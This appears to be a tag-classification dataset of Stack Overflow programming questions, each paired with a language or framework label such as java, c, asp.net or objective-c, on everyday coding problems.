hiding some of the options in ascx page  i have a list of search options in a page which i can hide using some collapse button like click here. now i wanted to make this option collapse by default. when even the user wants to expand then he can use this button and expand. how can i make this default     my code in ascx page is like this.   <pre><code> &lt;span class= hinttext &gt;             &lt;asp:label id= lblclickhere  runat= server  text= (click here)        meta:resourcekey= lblclickhereresource1 &gt;&lt;/asp:label&gt;         &lt;/span&gt; </code></pre>   i have an icon which i am using for expanding and collapsing. code for icon display is:   <pre><code> &lt;asp:imagebutton id= showhide  runat= server  imagealign= absmiddle  imageurl= ../common/images/show-icon.png              height= 21  width= 21  onclientclick= javascript:return controlsearchbar();  /&gt; </code></pre>   to expand and collapse i have written some java script. by default it will show all the options. my java script is here:   <pre><code> $(document).ready(function () {     $( #&lt;%=searchbar.clientid%&gt; ).show();     $( #&lt;%=showhide.clientid%&gt; ).attr( title    hide searchbar )     $( #&lt;%=showhideflag.clientid%&gt; )[0].value =  showing ;     $( #&lt;%=showhide.clientid%&gt; ).attr( src    ../common/images/hide-icon.png ); });  function controlsearchbar() {     if ($( #maincontent_projectlistcontrol_searchbar ).is( :hidden )) {         $( #maincontent_projectlistcontrol_searchbar ).slidedown( fast );         $( #maincontent_projectlistcontrol_showhide ).attr( src    ../common/images/hide-icon.png );         $( #maincontent_projectlistcontrol_showhide ).attr( title    hide searchbar )         $( #maincontent_projectlistcontrol_showhideflag )[0].value =  showing ;     } else {         $( #maincontent_projectlistcontrol_searchbar ).slideup( fast );         $( #maincontent_projectlistcontrol_showhide ).attr( src    ../common/images/show-icon.png );         $( #maincontent_projectlistcontrol_showhide ).attr( title    show searchbar )         $( #maincontent_projectlistcontrol_showhideflag )[0].value =  hiding ;     } </code></pre>   can anyone help on this  the expansion and collapse of the button should retain its session through pagenation and tab change.,asp.net
trigger with aspnet_users table  peace be upon you    i ve created a trigger on the aspnet_users that is provided by aspnetdb in visual studio 2008.   <pre><code>alter trigger updatetrigger on dbo.aspnet_users for update  as   declare @inhisaccount decimal(18 0);   if update( precardno ) set @inhisaccount = 15000;  insert into dbo.aspnet_users(inhisaccount) values (@inhisaccount); </code></pre>   when i m trying to login into the site after creating the trigger on the aspnet_users  i can t and give the message that tells me there is an error in logining  although that the username and password are true  and when i delete the trigger  logining returning back to works fine.,asp.net
remove   query=  from my url  so i am making a very simple chrome extension which allows someone to click it  then type in a french word  it will then take the word and redirect you to a french dictionary.    here is the relevant code:   <pre><code>&lt;div id= pattern  class= pattern &gt;          &lt;form action= http://www.wordreference.com/fren/  method= get  class= f  target= _blank &gt;                              &lt;input type= search  name= query  placeholder= search videos..  /&gt;                              &lt;input type= submit  class= btn search-submit  value= search &gt;                          &lt;/form&gt; </code></pre>   however this does not work  when i enter in a word  instead of taking me to   <pre><code>www.wordreference.com/fren/bonjour </code></pre>   it takes me to   <pre><code>http://www.wordreference.com/fren/ query=bonjour </code></pre>   thanks in advance guys!    should be noted changing the text query to  a  will take me to   <pre><code>http://www.wordreference.com/fren/ a=bonjour </code></pre>,html
c program that calculates the number of different words  i am trying to make a program that the user will constantly give separate words and the programm will calculate all different words. for example: user gives:  hello   user gives:  bye   user gives:  good   user gives:  bad   user gives:  bye . these are 4 different words. i want it to calculate them when the user has finished giving words. this is some code i wrote  but i cant finish it. i am new in programmaming and this question might seem silly but it is pretty important for me.    `   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;conio.h&gt; #include &lt;string.h&gt;   int main(int argc  char *argv[]) {     int num=0 b=0 h=0 g=0;     char name[31] text[2000];     while (num==0){         printf( give word: \n );         scanf( %s   name);         printf( %s\n   name);         if (strcmp(name  *fff* )==0){             num=1;         }         else {             h=h+1;             b=b+strlen(name);             strcpy(text name);           }     }      return 0; } </code></pre>   `,c
params of post request are not inserted into table  alright. first off  i am new to rails and this is the first project i am trying to build from scratch.     i have 2 models: course and question. i want to be able to add questions to a specific course  so course is the parent model of question. (course has_many :questions and question belongs_to :course)    from courses/show i render a partial:   <pre><code>&lt;%= render  questions/form   :question =&gt; @course.questions.build %&gt; </code></pre>   and the partial questions/_form:   <pre><code>&lt;%= form_for(question) do |f| %&gt;   &lt;div class= field &gt;     &lt;%= f.text_field :content %&gt;     &lt;%= f.hidden_field :course_id %&gt;   &lt;/div&gt;   &lt;div class= actions &gt;     &lt;%= f.submit %&gt;   &lt;/div&gt; &lt;% end %&gt; </code></pre>   and here is the create function:   <pre><code>def create     @course = course.find(params[:question][:course_id])     question = @course.questions.build           if question.save       redirect_to @course     end    end </code></pre>   but in my console i get the following output:   <pre><code>started post  /questions  for 127.0.0.1 at 2011-10-27 19:06:25 -0400   processing by questionscontroller#create as html   parameters: { utf8 =&gt; ✓            authenticity_token =&gt; negkm0uxbez8sisxl3pfvgfvhcdkixfpimjzm68mnvu=    question =&gt;{ content =&gt; hallo    course_id =&gt; 2 }   commit =&gt; create question }   course load (0.3ms)  select  courses .* from  courses  where  courses . id  = $1 limit 1  [[ id    2 ]]   (0.3ms)  begin   sql (0.5ms)  insert into  questions  ( content    course_id    created_at    updated_at ) values ($1  $2  $3  $4) returning  id   [[ content   nil]  [ course_id   2]  [ created_at   thu  27 oct 2011 23:06:25 utc +00:00]  [ updated_at   thu  27 oct 2011 23:06:25 utc +00:00]]   (1.6ms)  commit </code></pre>   what i don t understand is that the parameters include  content => hallo   but the value inserted into my table is nil...    i am fairly sure that i made a jumbled up mess because this is the product of an hour or trial and error  if anyone has a small change i should make or even a completely different way to achieve the same goal  that would be much appreciated.,ruby-on-rails
is there any sample code to integrate facebook chat into our own iphone application   is there any sample code to integrate facebook chat into my own iphone application.    anyone s help will be deeply appreciated     thanks to all  madan.,objective-c
angularjs : ng-if | hidden(removed) ng-model variable not removed from $scope  i am trying to understand the working of ng-if in contrast with ng-show. after reading the docs and going through the related stackoverflow question <a href= https://stackoverflow.com/questions/19177732/what-is-the-difference-between-ng-if-and-ng-show-ng-hide >here</a>  i understand that ng-if removes the dom element and the scope variables inside that ng-if  are removed.i.e ng-model variables inside the  removed  ng-if element wont appear in $scope.    from the <a href= https://docs.angularjs.org/api/ng/directive/ngif  rel= nofollow noreferrer >angular ng-if docs</a>:-   <blockquote>    note that when an element is removed using ngif its scope is destroyed   and a new scope is created when the element is restored. the scope   created within ngif inherits from its parent scope using prototypal   inheritance. an important implication of this is if ngmodel is used   within ngif to bind to a javascript primitive defined in the parent   scope.  </blockquote>   consider following code snippet:-   <pre><code>&lt;!doctype html&gt; &lt;html&gt;   &lt;head&gt;     &lt;script src= https://ajax.googleapis.com/ajax/libs/angularjs/1.3.0-beta.10/angular.min.js &gt;&lt;/script&gt;   &lt;/head&gt;   &lt;body  data-ng-app= mymodule &gt;         &lt;div data-ng-controller= testcontroller &gt;             &lt;input name= first  type= number  data-ng-model= form.x  placeholder= enter number x /&gt;       &lt;input name= second  type= number  data-ng-if= form.x&gt;5  data-ng-model= form.y  placeholder= enter number y /&gt;       &lt;input type= button  value= click  ng-click= save() /&gt;           &lt;/div&gt;       &lt;script type= text/javascript &gt;              var mymodule = angular.module( mymodule  []);         mymodule.controller( testcontroller  function($scope){             $scope.form = {};             $scope.form.x = 0;             $scope.form.y = 0;             $scope.save = function(){                 console.log($scope.form);             };         });                  &lt;/script&gt; &lt;/html&gt; </code></pre>   this is pretty simple use case - show the second number input field only when first is greater than 5.    the save button click delegates to  save  function in the controller which simply prints out the  form  object of $scope.   <h2><strong><em>problem:-</em></strong></h2>   input 1:- enter x=6 and y=2 output 1 : {x: 6  y: 2}    input 2:- enter x=3 output 2 : {x: 3  <strong>y: 2</strong>}    i am not able to understand why  output 2  still shows y =2. if its dom has been removed  shouldn t the output be just {x:3}      what should i do if i want to remove (ngif-removed) model from the scope     thanks,angularjs
sql table update from different source table  i have a target table which need to be updated as it is used as a history table. for every year it used for update  whenever a new record comes in it has to updated with three columns. if it has a duplicate record it has to be updated with relation to its old record. the record has a column end and start date  so these need to be updated and also for duplicate record  the end date should be delimited.     the column in my target table should be updated is named as zah_res_id which has values in my source table res. to extract these res_id s i have a condition  that it has to be retrieved used a set of columns. this criteria set is generally followed by production team  so they use this criteria and update records belongs to that criteria.     i suppose functions would make a best solution for this but i have no idea.,sql
sql query to remove portion of text in whole table  i have comment table which has commenttext filed in it. now i want to remove text inside this [quote] and [/quote]. in this case i can reduce the size of table by removing quote texts and keep the main comment. in addition some times we have nested quote which would be something like this:   <pre><code>**[quote name= sae!d ]     some text here     [quote name= john ]         another nested text here          [quote name= user2 ]             another nested text here         [/quote]     [/quote] [/quote] here would be the text of comment owner which should be kept.**  </code></pre>   i need to remove all except  here would be the text of comment owner which should be kept.,sql
how can i merge single function call into batch function call in python   i am trying to merge request into batch request    for example  in gpu computation  model.batch_forward(...) is much more efficient than loop model.single_forward(...) because gpu is good at data parallel compute.    but the request are not come in batch  so i want to merge multiple single requests into a batch request  in java i can accomplished this using something like wait / notify / future  how can i do that in python     my pseudo code like this   <pre><code>task_queue = []  # single function call def function_single(param):     add task into task_queue     result = wait for the result     return result  # batch function call def function_batch():     param_list = take param from queue     result_list = do something with param_list     for result in result_list:         notify the caller the result is ready </code></pre>,python
how to sort files on server in the client-server model   i am developing a client server model in which i need to send some tcp dump data to the server. the server will sort the data and will send it back to the client. i wanted to know how to go about this procedure.,java
how-to diagnose and fix such  on-site  crash of dotnet application   i m working on some application which has auto-update function. the implemented idea is simple as following:<br>  - there are some  starter  application which is installed to  program files/whatever/... . it s the application which is intended to be started by user.<br>  - each time the  starter  application is executed it checks server for updates and downloads it to  %appdata%/some/... . and then it starts some application from that folder.    above approach is working on my development machine (running vista) and on some other machines under xp  but under some different machine (running windows 7) it isn t working. when  starter  executes the real application it crashes with some unknown problem (signature = system.unauthorizedaccess). when real application is executed manually from %appdata%/some/ folder then everything is working fine. i ve tried to set same working directory in processstartinfo  so  starter  will also execute real application in that folder  but this isn t helped me.    how can i diagnose and/or fix that issue     <strong>update</strong><br> more details on how i m running main process from starter:   <pre><code>        private static readonly string _root = path.combine(environment.getfolderpath(environment.specialfolder.applicationdata)   myapp ); ...         private static void run()         {             string startpath = path.combine(_root   myapp.exe );             processstartinfo startinfo = new processstartinfo();             startinfo.filename = startpath;             startinfo.workingdirectory = _root;             process.start(startpath);         } </code></pre>   this surely starts the correct process because application window can be seen  but some disk or network operation is probably denied by windows and started process is crashed.<br> <strong>update</strong><br> the tracing shown that working directory wasn t correct and that pointed to incorrect process.start(string) method call in my code. the correct line:   <pre><code>    process.start(startinfo); </code></pre>,.net
i need to divide very large numbers in java without using any external libraries (homework)  i need to be able to do 1938757289258398239399949292934/14583949053930202 without using any external java functions or libraries. i have each digit of my numbers stored in a linked list. what else can i do      can someone help me divide an algorithm. i ve been trying at it for a few hours now and i m not getting anywhere.,java
how to convert string  00h:03m:30s:793ms  to timespan in c#  i have a string in xml which specifies the duration and the format is  00h:03m:30s:793ms     how can i parse this to timespan format in c#     i have tried following but none of them works   <pre><code>timespan.tryparseexact( 00h:03m:30s:793ms    hh:mm:ss:fff   cultureinfo.invariantculture  out testcasedata.duration)  timespan.tryparseexact( 00h:03m:30s:793ms    hh : mm : ss   cultureinfo.invariantculture  out testcasedata.duration) </code></pre>,c#
redirecting users from iframes & specific websites to a given webpage  yesterday some scammers have used my website signup form through their fake website redirect to get people to sign up and steal their passwords. <a href= https://i.stack.imgur.com/vlbfs.png  rel= nofollow noreferrer >what actually happened</a>    i believe  when users have signed up through their fake website using my form  they would just catch the passwords mid-process. they would spam my website at similar topic websites for users to sign up. there was a jump in sign-ups  and it caused my suspicious so i noticed this. is there any way to block users from iframes registering  or sending people from that link to a web page notifying them that they were trying to be scammed,javascript
what is a generic handler in asp.net and its use   i am new in asp.net. i want to know about the generic handlers in asp.net and how and where it use     could you help me,asp.net
binding dropdownlist in repeater s item template using an sql datasource  we are having some performance issues with a page and i wanted to ask about this.  if i have a repeater and in the itemtemplate of the repeater i have a dropdownlist bound to an sql datasource  will that selectcommand be called once per each item even though the same result is returned each time   if so  as a quick fix  would enable caching set to true and a cache duration specified ensure that that query is run only once per page life cycle   i know i should be using object datasource  but i want to try to fix this quickly for now.  thanks in advance.,asp.net
how do i remove this little line between font awesome icons   <a href= https://i.stack.imgur.com/dceav.png  rel= nofollow ><img src= https://i.stack.imgur.com/dceav.png  alt= enter image description here ></a>    i d like to get rid of the little line between the two icons. here s the code.   <pre><code>&lt;a href= #  target= _blank &gt;&lt;i class= fa fa-facebook-square fa-fw  style= font-size:24px &gt;&lt;/i&gt;&lt;/a&gt; &lt;a href= #  target= _blank &gt;&lt;i class= fa fa-instagram fa-fw  style= font-size:24px &gt;&lt;/i&gt;&lt;/a&gt; </code></pre>,html
text inside div not showing multiple white spaces between words  div is not showing multiple white spaces in between strings    for example    string  new      folder  displayed as  new&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;folder,html
pow() function in c is getting me wrong results  i m trying to convert an 8 bit array into into a number from 0-255 by adding values depending on the position in the field.     if i use    <pre><code>int array[8]={             0 1 1 0 0 0 0 1     };     int *p = array;     int i;     for (i = 0; i&lt;8; i++){         if(p[i]!=0){             a = pow(2 i);             printf( %i\n  a);         }     }; </code></pre>   i get:   <pre><code>2 4 128 </code></pre>   as results  which would be right so far.  but if i use    <pre><code>int array[8]={             0 1 1 0 0 0 0 1     };     int *p = array;     int i;     for (i = 0; i&lt;8; i++){         if(p[i]!=0){             a = a + pow(2 i);             printf( %i\n  a);         }     }; </code></pre>   i instead get:   <pre><code>2686758 2686762 2686890 </code></pre>   when i expect:    <pre><code>134 </code></pre>   what am i doing wrong,c
which pattern should i adopt to comment my php code   i just finished coding my php application now the coding has become somewhat huge and and the comments i am using is looking ugly and ineffective  as every single line of code i have commented with //   this is my first coding and i am totally unaware of the methodology to adopt to make my comments look nicer and cleaner for the future reference to me or anyone. i would appreciate if someone suggest me the pattern with example..    here is the function i wrote with the ugly comments i used. which pattern would you use for commenting the code    <pre><code>//function to check if the uploaded image is valid     function valid_image($image  $target  $url  $width  $height = 0) {             //check if the uploaded image is of type jpeg             //if not then pop up a warning message and return false and redirect back         if( $image[ type ] !==  image/jpeg ) {             alert( file must be of type image/jpeg );              redirect_url($url);                        return false;             }             //check the file dimension of the uploaded image if it matches with the defined value              //get the dimensions of the image             list($image_width  $image_height) = getimagesize($image[ tmp_name ]);             //if the parameter height is empty then just check the image width and ignore the height rule             //print the appropriate message and return false and redirect back         if( $height ==  0 ) {         if( $image_width !== $width) {             alert( incorrect file dimension for    . $image[ name ] .   please make sure it is $width in width );             redirect_url($url);             return false;             }             }             //if the function has got all the parameter then check both the defined height and width              //print the appropriate message and return false and redirect back     else if($image_width !== $width || $image_height !== $height) {             alert( incorrect file dimension for    . $image[ name ] .   please make sure it is  $width x $height   );             redirect_url($url);             return false;             }             return true;             } </code></pre>   thanks in advance.,php
dictionaries or dual arrays  for the fun of it i am writing a character class to help me learn what i need to know for video game development. i am also using this to help learn java.     i want to store a characters stats as a dictionary(key value pairs)  but i m unclear on how this is done in java. the other option i am thinking of is to use two arrays(one for stat names  the other for stat values).    what is the best way to store key value pairs in java,java
how to use the ternary operator in java without an else branch  i have this expresion and i want to have it in a sigle line using the <code> </code> operator.   <pre><code>for (area a : listaarea) {     if (a.getidarea() == user.getidarea()) {         user.setnomarea(a.getnomarea());     } } </code></pre>   this is what i tried:   <pre><code>for (area a : listaarea) {a.getidarea() == user.getidarea()   user.setnomarea(a.getnomarea())} </code></pre>   how to convert that <code>if</code> into a <code> </code> expresion,java
3 errors c programming  so i m getting three different errors in one small section of my code.     here is my code:   <pre><code>// //  main.c //  oyster top up menu // //  created by jstudent  #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  int main(int argc  const char * argv[]) {      /* variable sets */      char firstname[21];     char lastname[21];      int menuselect;     int oystnumber[11];     int oystregnumber[11];     int oystadminnumber = 1621941;      /*****************/       printf( 1. register oyster card\n );     printf( 2. login with oyster card &gt;  );     scanf( %d   &amp;menuselect);          switch(menuselect) {              case 1 :                  printf( please enter your first name:  );                 scanf( %20s   firstname);                  //system( cls );                  printf( please enter your last name:  );                 scanf( %20s   lastname);                  //system( cls );                  printf( enter your 10 digit oyster card number:  );                 scanf( %10d   oystregnumber);                  break;              case 2 :                  printf( please enter your 10 digit oyster card number:  );                 scanf( %10d   oystnumber);                  if (oystnumber == oystregnumber) {                      printf( welcome  %s %s.   firstname  lastname);                  } else if (oystnumber == oystadminnumber) {                      printf( welcome  admin! );                 }                  break;      }      return 0; }  /* remember to learn how to repeat the switch menu after break; */ </code></pre>   to explain further  this part of my code  <code>if (oystnumber == oystregnumber) {</code> is giving me an error saying  array comparison always evaluates to false . i ve tried changing the  ==  to a single equal  =  but that just stops the build from succeeding. now this code will get me to the menu of  please enter your 10 digit oyster card number  but after that the code doesn t even get executed and only returns.     the last error is on this line   <code>} else if (oystnumber == oystadminnumber) {</code> and is saying  comparison between pointer and integer ( int *  and  int),c
objective-c basics: creating a function with string  i m very new to objective-c.  i ve developed several dozens of desktop applications with vb.net and several dozens more with real stupid for macs.  i ve read several hard-cover books and pdf books over objective-c functions.  they only talk about how to create a function with integers.  i want to go beyond integers.  for example  the following simple vb.net function involves a string  returning true or false (boolean).  it s quite simple and straightforward.   <pre><code>function sayboolean (byval w as string) as boolean if w =  hello  then     return true else     return false end if end function </code></pre>   the following function returns a string (the file extension) with a string (a file path).   <pre><code>function xgetext(byval f as string) as string      getting the file extension         dim fname1 as string = path.getfilename(f)     dim fname2 as string = path.getfilenamewithoutextension(f)     dim s as string = replace(replace(fname1  fname2    )   .     )     return s end function </code></pre>   so how do you specify string parameters and return a boolean or a string in creating a function with objective-c   objective-c is terribly difficult for me so far.    thank you for your help.    tom,objective-c
faulting clr.dll on framework 4.5.2  i still have problem with faulting module clr.dll  which cause application crash when customer use device...    we used framework version 4.0 and found out this problem  so we upgraded os from windows 7 to windows 8 and framework from 4.0 to 4.5.2. problem still continue...   <pre><code>*information from eventviewer: *faulting application name: mikro.fareon.modules.cards.client.kioskjihlava.exe  version: 3.0.804.3406  time stamp: 0x56cb21bd faulting module name: clr.dll  version: 4.0.30319.18408  time stamp: 0x52310b2d exception code: 0xc0000409 fault offset: 0x0047cb35 faulting process id: 0xba4 faulting application start time: 0x01d29eef3c327226 faulting application path: c:\mikroelektronika\kiosk\mikro.fareon.modules.cards.client.kioskjihlava.exe faulting module path: c:\windows\microsoft.net\framework\v4.0.30319\clr.dll report id: b9419dac-0aed-11e7-a037-00045f8f3145 faulting package full name:  faulting package-relative application id:*  *fault bucket   type 0 event name: bex response: not available cab id: 0 problem signature: p1: mikro.fareon.modules.cards.client.kioskjihlava.exe p2: 3.0.804.3406 p3: 56cb21bd p4: clr.dll p5: 4.0.30319.18408 p6: 52310b2d p7: 0047cb35 p8: c0000409 p9: 00000002 p10:  attached files: these files may be available here: c:\users\kiosk1\appdata\local\microsoft\windows\wer\reportqueue\appcrash_mikro.fareon.mod_91f327b9c548e7d593481687d6a18516e131862d_091355f6 analysis symbol:  rechecking for solution: 0 report id: b9419dac-0aed-11e7-a037-00045f8f3145 report status: 4 hashed bucket:*  </code></pre>   i have installed .net framework 4.5.2    <a href= https://i.stack.imgur.com/jam3b.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/jam3b.png  alt= enter image description here ></a>    can somebody help me  please,.net
i m unable to display a form dynamically  when i try to use the <code>&lt;form&gt; &lt;/form&gt;</code> tag dynamically  it is not working.    sample code:   <pre><code>&lt; php    $i=1;    while($i&lt;4)    {        &lt;form name= form .$i.   action=   method= post &gt;            &lt;input type= submit  name= a .$i.   /&gt;        &lt;/form&gt;        $i++;    }  &gt; </code></pre>   the code runs  but the form tag doesn t work for the first button. it works from the second button. but i need this for the first button also.    how can i resolve this,php
increment data array in javascript  i have array with following structure/data:   <pre><code>1: object -2: object -- name : test -- username : test -- email : test@email.com -4: object -- name : test4 -- username : test4 -- email : test4@email.com -5: object -- name : test5 -- username : test5 -- email : test5@email.com </code></pre>   my js:   <pre><code>for (var i =0; i &lt; 5; i++){     var r = $( #name ).val(datas[1][i].name);     console.log(r) } </code></pre>   why is <code>datas[1][i].name</code> undefined     i want <code>var i</code> to increment.,javascript
using interface or super class as data type for instantiating sub class  i am new to java  sorry if this is a dumb question but it really bothers me. i can t find real answer anywhere on internet  probably because i don t know how to ask it in short term.    i have seen tutorials where teacher uses interface or parent class name as data type to reference obj.   <ul> <li>why is that possible </li> <li>more importantly why does he do it </li> <li>when should i do it </li> </ul>   if my questions are confusing  this code will explain my questions better:   <pre><code>runnable obj = new thread(); /*instead of*/ thread obj = new thread(); </code></pre>   this goes for parent classes as well:   <pre><code>public class a{} public class b extends a{} a obj = new b(); </code></pre>   i am aware that objects are created in heap by the  new class()  syntax and that variable doesn t actually contain object but rather location of an object.there are also rules for that reference variable  data type . i can t go around and do stuff like:   <pre><code>c obj = new b(); </code></pre>   so rules state that  data type  must be part (interface  parent) of the class being instantiated. why is that an option  why do people do it  should i do it as well  what is god  is there good reason (bigger picture) for all of that or is it just random (more options) feature provided by java     <strong>edit:</strong>    <strong><em>i m new to stackoverflow so i unknowingly marked this post as duplicate to one  which it isn t duplicate of.</em></strong>    i m updating this in case someone like me bumps into the same question and dont knowe how to google it out  because of unfamiliar/unknown concept name/term. now that everything is clear  let s jump to the enlightenment.    when we use interface or parent class as data type of the reference variable we r telling java to create an object that will be trimmed down (as i understand it) and contain only the properties and methods that exist in interface or parent class that we used as a data type.    i ll take arraylist class as example code:   <pre><code>//dont pay attention to the generics im using it for a good practice collection&lt;integer&gt; obj = new arraylist&lt;&gt;();   /*this works! because add method is defined in collection interface aswell as arraylist class duhhh...*/ obj.add(3);   /*this gives compilation time error.because method doesnt exist in collection interface but it is valid method in arraylist class*/ obj.indexof(3); </code></pre>   same goes for the parent class datatype heres an example:   <pre><code>public class foo {    public void sayharro() {       system.out.println( harro from foo );    }     public void stateyourgendre() {       system.out.println( i indentify myself as foosexual );    } }  public class bar extends foo {    public void sayharro() {       system.out.println( harro from bar );    }     public void madeinbar() {       system.out.println( im genuine );    } }  public class test {     public static void main(string[] args) {          foo obj = new bar();           /*no problem!everything is legit.method exists in foo!          outputs: harro from bar*/          obj.sayharro();           /*          *no problem! method exists in foo and is inherited  though not           *overwritten (redeclared in bar).           *outouts: i indentify myself as foosexual          */          obj.stateyourgendre();           /*           *now we have a compile time error  because method doesnt exist          *in provided datatype of the reference variable though it s           *valid bar class method.          */          obj.madeinbar();     } } </code></pre>   everything is clear now to me atleast  i hope to you aswell. allthough now the question arise to which i do not have an answear.    <ul> <li>is the new created object actualy (trimmed down) stripped of methods and properties that cannot be found in provided datatype </li> <li>if so does that object actualy take less memory space than it would if it was whole </li> </ul>   also note above that i said it ll be trimmed down but i added extra note <strong><em> as i understand it </em></strong> <strong>! it s important to note that until new questions have been answeared by someone with actual knowledge.</strong> because if it s not trimmed than all this stuff is just for making more strict and depricating code. also i d really like to knowe the name for this whole concept if there is one. may the heap be with you!,java
in console when i am click the input button with blank field i am getting an error in javascript  i am learning javascript and i am trying to make a table which will give us the result.    <a href= https://jsfiddle.net/sibasish55/ylhhrqa1/  rel= nofollow noreferrer >my fiddle</a>   <pre><code>function showresult() {     var viewresult = document.getelementbyid( demo );     var inputone = document.getelementbyid( studentname ).value;     var inputtwo = document.getelementbyid( studentsubj ).value;     var stuname = studentname.indexof(inputone);     var subname = subjectname.indexof(inputtwo);     var result = markes[stuname][subname];     viewresult.innerhtml =  this is the marks of   + inputone +     + inputtwo +     + result +   % ; } </code></pre>   in console when i click the input button with blank input field i am getting an error in javascript    this is the error:   <blockquote>     demo.js:408 uncaught typeerror: cannot read   property  -1  of undefined   </blockquote>   what s wrong with my code.,javascript
a question regarding to the badge  i  have     nsdictionary *dictionary =    { aps :   { alert : this is a push message sent from server!        badge :60   } }    i  have  only 1  question    i  need 60 from this nsdictionary into nstring.,iphone
converting to serializable object  this may be a stupid question but i wanted to convert a 2 dimensional string array into a serializable object in java. what is the best way to do this,java
why is consoletracelistener not writing to a console   quite often i run into items in the .net framework that have little or no code examples on how to use the features. on other occasions  there are plenty of examples  but none of them seem to work as prescribed.    case in point: the system.diagnostics.consoletracelistener class.    from everything i ve read and every code example i ve seen  when i m doing something like the following:   <pre><code>consoletracelistner listener = new consoletracelistener(); listener.writeline( yo ); </code></pre>   ...i should see a console window pop up with  yo . however instead of that expected output  it s writing  yo  to the visual studio output where one would see normal trace/debug messages.    i ve attempted every itteration of examples i ve googled for including config file setup of the appropriate listener  adding the listener to the trace.listeners collection  custom consoletracelistener types  etc. i ve even just compiled to a release version and ran the executable (which does absolutely nothing).    what the heck am i missing,.net
know about the iphone device whether it is old or new through code  i have one problem i want to know the code through which i can know about the iphone device  whether the device is old or new (as hardware point of view). please some one help me. thanks in advance..,objective-c
overflow short int in language c  i m trying to make a program that show short int overflows in c. in my program you enter two short int and i add them. if the addition is superior to 32767 we have a negative overflow and if the addition is inferior to -32678 we have a positive overflow.     now my problem is that my program refuses to respect any of the condition when using <code>if</code>. but when i use <code>do while</code> my program consider that i respect the two condition at the same time.   <pre><code>short int n1  n2  somme; printf( enter the first number:  ); scanf( %hi   &amp;n1); printf( enter the second number :  );  scanf( %hi   &amp;n2);  somme= n1 + n2;     do     {     printf( negative overflow\n );     }while (somme&gt;32767);     do     {     printf( negative overflow\n );     }while ( somme&lt;-32768);  printf( the result is %hi   somme); </code></pre>   sorry for my english.  and thanks for reading  please help.,c
two js scripts blocking each other  i have a function that previews an image that is about to be uploaded:   <pre><code>    &lt;script&gt; function readurl(input) {  if (input.files &amp;&amp; input.files[0]) {     var reader = new filereader();      reader.onload = function (e) {          var if_alternative = true;         $( #preview_image ).attr( src   e.target.result);         //hide product_images and fileselector     }     reader.readasdataurl(input.files[0]);   }  }  $( #product_images ).change(function(){ readurl(this); }); &lt;/script&gt; </code></pre>   since users are able to upload more than one image  i would like the second image to be previewed as well. this is the function that is supposed to preview the second image:   <pre><code>&lt;script&gt; function readurl(input) {  if (input.files &amp;&amp; input.files[0]) {     var reader2 = new filereader();      reader2.onload = function (e) {          var if_alternative2 = true;         $( #preview_image2 ).attr( src   e.target.result);     }     reader2.readasdataurl(input.files[0]);  }  }  $( #product_images2 ).change(function(){ readurl(this); }); &lt;/script&gt; </code></pre>   now  the problem is that  when both scripts are active  they both preview the image in the second image container (<code>#preview_image2</code>)  instead of previewing the first one in the first container  and the second one in the second. can anybody tell me why  thanks!,javascript
register javascript globally without placing in .aspx page in asp.net  i have a big project in asp.net  some pages having different master pages and many pages don t have any master page. in short  there is no common layout available in my project. now  i need to integrate session idle timeout functionality in whole project and i have to register my javascript in each and every page.     so  is there anyway to register javascript globally through code  like in global.ashx file and trigger javascript function     thanks imrnakhan,javascript
what does calling  retain  or  release  do on a class   in objective-c  should we retain or release a variable of the type <code>class</code>  a <code>class</code> is a pointer to a c struct.,objective-c
ignore whitespaces with isspace and getchar()  i want to read numbers from the command line with <code>getchar()</code>  remove all whitespaces with <code>isspace()</code> and print them with <code>putchar()</code> .  however  the following code does not remove any whitespaces. the input <code>10 1</code> leads to an output <code>10 1</code>.     can you help me finding my mistake  thank you!   <pre><code>int main(void){      char input[uint_max];     int i = 0;     while ( i &lt; uint_max &amp;&amp; (input[i] = getchar()) !=  \n  &amp;&amp; !isspace(input[i])){         i++;     }     if ( i == uint_max ) {         printf( too long );     }     else {         input[i] =  \0 ;     }     i = 0;      while( input[i] ) {         putchar(input[i]);           i++;     }      return 0; } </code></pre>   note that i m not allowed to use any extra headers. i m restricted to the above functions.,c
detecting movement with an iphone  can the iphone detect its movement in terms of distance      would one be able to use a built in function on an iphone to determine the distance the phone has moved so that the speed of movement can be calculated     basically my question is    can an iphone detect its position and distance moved without using the gps     thanks,iphone
what is the difference between the head node and starting node of link list   does the head node in a link list have any info or does it only point to the first node of a link list    <br/> can we define a head node as the starting node of the link list  <br/> does a head node only point to the first node   a linked list consists of nodes  and each node contains some data and a link to another node in the list. but is the very first node a node which contains data and a link to the second node  or is it contain only a link (and no data) to a node  i thought that the very first node in a linked list has both data and a link to another node  but in one introductory book it is explained that the head is a node but a link that gets you to the first node. at the same time head is a variable of the type of the node. why is it like this,c++
need help in understand objective c interface declaration  i am new to objective c. i need help in understand the following code:   <pre><code>+@interface myclassviewcontroller : baseviewcontroller&lt;selectionreceiver sourcestate&gt; </code></pre>   both myclassviewcontroller and baseviewcontroller are interface. selectionreceiver is a protocol sourcestate is an interface    what is the meaning of &lt; selectionreceiver  sourcestate>  is that meaning multiple inheritance  and what is the difference between protocol and interface     thank you.,objective-c
.all.length vs .length in before_create - crazy behavior!  can someone explain this   i ve solved my problem but i have 0 ideas why this is occurring  is this a weird bug     i have a before create action in my memberships model.    memberships can belong_to an organization.  organization has_many memberships.    <code>before_create :check_payment_plan</code>    then i have some logic in the check_payment_plan method.  what it does is irrelevant.  as i ve found the following behavior:    when the method looks like:   <pre><code>def check_payment_plan      puts self.organization.memberships.length end  **the membership is not created.** </code></pre>   when the method looks like:    <pre><code>def check_payment_plan      puts self.organization.memberships.all.length end  **the membership is created.** </code></pre>   so for future reference if someone is having instances of a model not being created in a before_filter check that if the above pattern is followed  .all.length is utilized.    can anyone explain why this is occurring !,ruby-on-rails
